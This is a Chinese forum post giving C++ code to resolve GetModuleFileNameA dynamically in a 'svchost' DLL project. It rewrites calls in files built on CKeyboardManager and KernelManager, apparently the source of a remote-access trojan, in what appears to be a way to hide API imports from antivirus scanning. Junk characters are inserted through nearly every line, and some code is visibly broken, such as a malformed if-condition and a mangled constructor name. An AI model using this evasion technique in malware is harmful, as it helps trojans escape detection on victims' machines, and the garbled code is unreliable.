返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记! u# F! N. h: Z
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
6 @, a% K8 V6 q/ x----------------------------------------* v- G3 }5 U. ]4 k6 Y
DTDY.h:
( D% e9 p6 [: n9 n+ [+ _- P
& p& _4 j' a' s# z! I& z! [% L#if _MSC_VER>1000+ z; U) i* R; o4 e
#pragma once
  F) I* \; q( s$ b2 n- i0 F#endif //_MSC_VER>1000: m3 t3 o! B+ T( Y3 c5 T+ m
#include<windows.h>+ n7 X7 Q; c+ A: K! ^) A
' i" ]2 {: ]; T  F5 R
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; |: O. ?8 ~  c. ~1 T) s* Uclass DTDY1 T8 l, z0 C9 j7 p5 o
{; Q' s1 N0 h: Q+ ~4 y! Z3 y+ R! G1 o
public:3 t: T+ u. L: D5 t+ ]2 w4 F7 i% g* E. x
DTDY();& V5 u2 l# G1 y) |- u
virtual ~DTDY();# |8 U8 N3 E& b) Z
public:
( N4 w) ]$ ~0 [% wstatic pGetModuleFileNameA MyGetModuleFileName;* B# ^% |) i+ S2 ]* A5 A- c" q
static BOOL FunInitiallization();7 {& v8 x7 W1 A1 I4 E: c. z1 ^
};
: m. b" O% w' V  N' X#endif! ^5 k$ W# B% ~* w4 N
----------------------------------------2 ]% B" n- A, M
7 s% J# t6 K; c  d, Z0 Z
DTDY.cpp:( [) l" r, `5 d. Q4 F- H* S3 n
' r- k4 C% @! {. [
#include "DTDY.h"
/ J6 {) n( A: ?7 Q+ U: ]pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* ?1 c- x1 y% @) Q+ S. o! k
DTDY:TDY()# P- h! {4 u/ T! i6 n
{
2 }. }& c6 _2 A: l0 }$ }0 k% m}
! f& W0 a& l( B+ UDTDY::~DTDY()" w4 A7 [1 C1 F
{
/ {$ h% w) j1 u; U0 N, t3 C}0 q" b6 V+ b1 i9 Y! y
BOOL DTDY::FunInitiallization()
# \0 j" F# K1 l# @% s; R{, E: g) o% |/ \
HMODULE hModule=LoadLibrary("kernel32.dll");1 H: a  }& W4 V+ Q. ^3 z6 Q/ q
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");, I( ~8 z7 }7 A; l* P; ?" u
if(!MyGetModuleFileName=) return FALSE;
) B. _, c% J  g1 v0 T* r  y0 R4 f! D$ G' \( W( K
return TRUE;1 S+ D. I' q4 K
}7 H! `" X- R" t. w
----------------------------------------
9 @2 N) h+ Z$ N7 w. rsvchost.cpp:; p0 ^/ S/ }; w' n1 L& ~: ]

( U) @# Z0 f6 Z; _! @+ o$ \#include "DTDY.h"
* b6 y5 @/ r# n. e
, s0 x9 K$ o9 X* |: i, I4 l( y2 CBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, i5 T' E: Z5 A0 @  Y{0 t* @% \6 f3 @$ u; t& j
switch(ul_reason_for_call)9 z. Z8 @8 v# O8 M+ w
{
! N- s0 L0 A, }3 J5 s! ucase DLL_PROCESS_ATTACH:5 ^8 p4 y$ j# r, e
if(!DTDY::FunInitiallization()) return FALSE;: ^! V8 z- k5 ?2 ]  L. o' l

) Q$ h1 b. |# x- r; a1 f0 Lbreak;
/ v3 d( U$ J$ I. J$ K8 M  @+ h9 ?}
, U$ R. a/ x2 Q) n6 S& q}
9 ~0 Y9 c) N3 ^/ t2 C6 d
- M" f9 m# j) h, p# ^4 f# h; \& M3 A( y/ ~7 k) F) U
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 C: R, ~% c0 v
改写为
, s3 W- R" `: a7 @3 V( w1 ]DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));7 G) J' y; @% M, o/ R$ w* ~2 B/ B
----------------------------------------
; u* g' s1 j; v2 {, [KernelManager.cpp:0 b% f; K/ }; |, y* y! R

6 y. B( G5 ~& S- y#include "../DTDY.h"
' \) F9 C+ C) E5 gGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" o+ R* k  M" A: O- v" A! l! u改写为% q' k" j% f0 [! z# G" M$ F
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# }$ @( @, x- S9 G6 y; Q; h----------------------------------------

返回列表